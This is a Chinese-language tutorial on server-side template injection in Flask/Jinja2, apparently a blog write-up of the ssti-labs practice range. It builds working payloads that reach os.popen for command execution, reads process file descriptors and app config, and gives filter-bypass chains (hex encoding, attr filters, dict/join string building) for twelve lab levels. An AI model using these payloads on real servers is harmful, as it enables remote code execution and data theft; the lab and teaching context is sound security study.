ssti模板注入漏洞
SSTI(模板注入)漏洞
前置知识
模板引擎
模板引擎是在 Web 开发中,为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,模板引擎会将模板文件和数据通过引擎整合生成最终的HTML代码并用于展示。
模板引擎的底层逻辑就是进行字符串拼接。模板引擎利用正则表达式识别模板占位符,并用数据替换其中的占位符。
SSTI
SSTI(Server-Side Template Injection)服务端模板注入主要是 Python 的一些框架,如 jinja2、mako、tornado、django,PHP 框架 smarty、twig,Java 框架 jade、velocity,rust 等框架使用渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。具体模板如下

python前置知识
python模板的ssti需要的部分知识点:
__class__
:查看对象所属的类__mro__
:查看继承关系和调用顺序,返回一个元组__base__
:返回单一基类__bases__
:返回基类组成的元组__subclasses__()
:返回当前类的所有子类列表__init__
:调用初始化函数,可用于跳转到__globals__
__globals__
:返回函数所在的全局命名空间(字典类型)__builtins__
:返回内建命名空间字典,包含所有内置函数和对象__dict__
:返回类的静态函数、类函数、普通函数、全局变量及一些内置属性__getattribute__()
:访问对象属性时自动调用,也可以手动调用,例如obj.__getattribute__('attr')
__getitem__()
:访问容器对象的键值时触发,例如a['b']
等价于a.__getitem__('b')
__import__
:动态导入模块,例如:1
__import__('os').popen('ls').read()
__str__()
:返回对象的字符串描述,等价于str(obj)
或print(obj)
url_for
:Flask 方法,可通过url_for.__globals__['__builtins__']
访问内建命名空间,其中包含current_app
get_flashed_messages
:Flask 方法,同样能通过__globals__['__builtins__']
获取全局对象lipsum
:Flask 方法,lipsum.__globals__
中包含os
模块,可执行命令1
2{{ lipsum.__globals__['os'].popen('ls').read() }}
{{ cycler.__init__.__globals__.os.popen('ls').read() }}current_app
:Flask 应用上下文,全局变量,代表当前 Flask 应用config
:当前应用的所有配置,可用于命令执行1
{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
request
:Flask 请求对象,可深入到内建命名空间1
request.__init__.__globals__['__builtins__'].open('/proc/self/fd/3').read()
request.args.x1
:获取 GET 参数request.values.x1
:获取 所有参数(包含 GET 和 POST)request.cookies
:获取 cookies 参数request.headers
:获取 请求头参数request.form.x1
:获取 POST 表单参数,适用于application/x-www-form-urlencoded
或multipart/form-data
request.data
:获取 原始 POST 数据,适用于Content-Type: a/b
类型request.json
:获取 POST JSON 数据,适用于Content-Type: application/json
漏洞原理(以python进行示范)
源码如下
1 | from flask import Flask, render_template, request, render_template_string |
模板文件接收了名为x
的传入参数,并且将参数值回显到页面上。
启动服务,手动传入参数,可以看到功能正常,其中参数x
的值完全可控:

尝试写入 Jinja2 的模板语言如49,发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。

其就会执行49
那么就可以通过该方法进行命令执行
1 | code= {{"".__class__.__bases__[0]. __subclasses__()[157].__init__.__globals__['popen']('id').read()}} |

解析上方payload
1. 获取对象类型
可以通过字符串、元组、列表或字典来获取类型:
1 | {{ '' .__class__ }} # <class 'str'> |
2. 获取基类 object
1 | {{ '' .__class__.__base__ }} # <class 'object'> |
3. 获取 object 的所有子类
1 | {{ '' .__class__.__base__.__subclasses__() }} |
注意:列表索引顺序可能因 Python 版本和环境不同而变化。
4. 选择一个可用的类
找到一个类,其 __init__
函数可以访问 __globals__
:
1 | {{ '' .__class__.__base__.__subclasses__()[128] }} |
5. 获取该类的 *init* 函数
1 | {{ '' .__class__.__base__.__subclasses__()[128].__init__ }} |
6. 获取 *globals* 全局命名空间
1 | {{ '' .__class__.__base__.__subclasses__()[128].__init__.__globals__ }} |
7. 获取内建函数 eval
1 | {{ '' .__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__'] }} |
8. 利用 eval 执行系统命令
通过 __import__('os').popen()
执行系统命令:
1 | {{ '' .__class__.__base__.__subclasses__()[128].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()') }} |
所以flask模板下的注入步骤就如上方所述
在这些步骤之前第一步应该确定其是什么模板

根据该图进行模板的简单判断
ssti的bypass
ssti-labs靶场(flask模板)
level1
没有任何过滤直接写即可
1 | {{"".__class__.__bases__[0]. __subclasses__()[133].__init__.__globals__['popen']('ls').read()}} |
使用脚本寻找到所需要的os._wrap_close的位置之后构造如上payload即可
level2
1 | 该关过滤了{{}} |
使用<!–swig41–>
level5
过滤了单双引号所以可用使用request.args.a(获取get传参),request.from.b(获取post传参),其函数作用可用获取获取的参数,也就是说可用靠这个像无参数rce的方法来讲命令写在参数里面以此绕过对单双引号的过滤。
1 | code={{().__class__.__base__.__subclasses__()[157].__init__.__globals__[request.args.a](request.args.b).read()}} http://192.168.153.166:5000/level/5?a=popen&b=ls / |
level6
过滤下划线,使用过滤器过滤即可,过滤器通过|与变量连接
1 | http://192.168.153.166:5000/level/6?a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__getitem__ |
注意:.read()
:这是纯 Python 语法,但在模板渲染时,.
取属性没问题,但如果直接跟 ()
调用,Jinja2 不一定会自动执行,尤其是这种链式调用。所以
1 | {{''|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(157)|attr(request.args.e)|attr(request.args.f)|attr(request.args.g)('popen')('ls').read()}} |
这种方式并不用在ssti注入中
或使用编码的形式奖下划线编码去使用如unicode和16位编码
16进制编码:
1 | "".__class__=""|attr(__class__)=""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f") |
1 | {{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(157)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")('popen')('cat flag')|attr("read")()}} |
level7
该关过滤了.上一关的payload可直接使用也可以使用字符串拼接的方法
level8
该关对一些关键字进行了过滤如:
1 | bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"] |
使用字符串拼接绕过即可
转置
1 | ''.__class__ = ''['__ssalc__'[::-1]] |

level9
禁用了数字 ,所以可以使用无数字的payload
__builtins__
,它里面有eval()
等函数,我们可以也利用它来进行RCE
它的payload是
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}} |

leve10
config获取

当flask服务搭建起来时,其会启动上述的内置函数和内置对象,利用这些获取config
1 | {{url_for.__globals__['current_app'].config}} |
使用url_for这些内置函数即可
level11
该关卡过滤了很多东西 bl[‘'‘, ‘“‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’]
使用dict()进行过滤
dict可以创建一个字典,jion的作用是将字典中的键值拼接到一起。
通过flask的内置函数获取_和空格这类的符号
由于request和引号都被过滤所以在构造payload时需要使用拼接方法获取popen
使用内置函数获取空格

如图其第18位是空格
1 | {%set h=self|string|attr(d)(18)%} #构造空格 |
1 | code={%set a=dict(__class__=a)|join%}{%set b=dict(__base__=b)|join%}{%set c=dict(__subclasses__=c)|join%}{%set d=dict(__getitem__=d)|join%}{%set e=dict(__init__=e)|join%}{%set f=dict(__globals__=f)|join%}{%set g =dict(popen=g)|join%}{%set h=dict(cat=h)|join%}{%set re=dict(read=re)|join%}{%set ko=self|string|attr(d)(18)%}{%set shell=(h,ko,dict(flag=1)|join)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(157)|attr(e)|attr(f)|attr(d)(g)(shell)|attr(re)()}} |
使用如上payload即可绕过该关卡的混合过滤
level12
bl[‘_’, ‘.’, ‘0-9’, ‘\‘, ‘'‘, ‘“‘, ‘[‘, ‘]’]
混合过滤,过滤了数字_.\引号和[]
将_用系统自带函数进行表示

之后利用count修改上一关代码
1 | {% set po=dict(po=a,p=a)|join%} |
bottle框架中由斜体字引发的模板注入(SSTI)
以下为exp
1 | import re |
具体内容可查看lamentxu的博客